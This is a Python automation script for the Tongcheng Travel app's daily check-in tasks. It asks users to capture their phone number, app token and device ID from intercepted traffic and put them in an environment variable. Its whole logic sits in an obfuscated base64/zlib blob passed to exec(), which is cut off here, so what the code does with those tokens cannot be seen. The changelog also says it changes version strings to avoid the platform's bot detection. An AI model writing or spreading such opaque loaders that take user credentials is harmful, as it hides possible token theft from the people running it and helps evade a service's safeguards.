import zlib
import base64

"""
脚本: 同程旅行APP自动任务
作者: 3iXi
创建日期: 2024-12-20
更新日期：2025-05-26
----------------------
* const $ = new Env("同城旅行");
* cron 38 9 * * * 同程旅行.py
描述: 打开并登录“同程旅行”APP，开启抓包，点击APP右下角“我的”-“签到”，进去后抓包域名https://app.17u.cn请求头中的phone、apptoken、device三个参数。
环境变量：
        变量名：tongcheng
        变量格式：phone&apptoken&device
        多账号之间用#分隔：phone&apptoken&device#phone2&apptoken2&device2
需要依赖：aiohttp
签到奖励：日常任务得里程，签到满360天得价值200元里程
----------------------
版本: 1.0.5
更新说明: 
        1.异步做任务，一次并发3条任务，减少任务时间
		2.修改为最新版本号，减少后台检测风险
		3.领奖失败会重试2次
		4.新增签到额外奖励提醒
		5.优化任务标题显示，不再显示任务ID
		6.脚本整体输出信息美化，更加直观
特别注意：部分任务是跳转到APP页面浏览，这类任务脚本无法自动做，会提示失败
"""

exec(zlib.decompress(base64.b64decode(f"eJy9Gv1zG8X1d8/4f9iKgZOCfLISUqjBdNqUFgZCmZJO2zGem8tpZW0j3al3pzhGoxkHEsefUQKE0GBqQhMc0gQ7EHASO8n/Qnwn+afkT+jb2/vYvTv5A0r3B83d7tv33r5937qyadRQSbWxTWoYkVrdMO3wvb/PnxBe/m4ZevhiWOGjak3oGjGid2JUbLve31emNDRD1xqmiXVbLjfshomtgNqRionV0luGUX3lBNYatmGGKExVLxm1/r7+vqdQ5+yK88X7TvuTrTNt97u57soFOmtYMtaPE9PQRyTb0Me0CtbHpFE0jCSJ7XNn5tzFe057rXvqlnuh7Vw51Tk31d9XwmVUU61jSr1i6Djr/eaG+vsQDFJGVaz7c2h4GBWL/godJgb2deStjgwdGEXPImkfDAke2OTzQ6MMnAdl3Gyun+UP0j275rQ/7t7+EvjbfHjZPbnCOBvDtqJqmtHQbSsbsBVMwOFGfALhkRWQAsyDOGArPGc5aeRBFrnwZLphi9u4o9VNotvZjLt43Z154Eyv8qxGmzK5hDAC1tiCwK5SJZYNrAk0Z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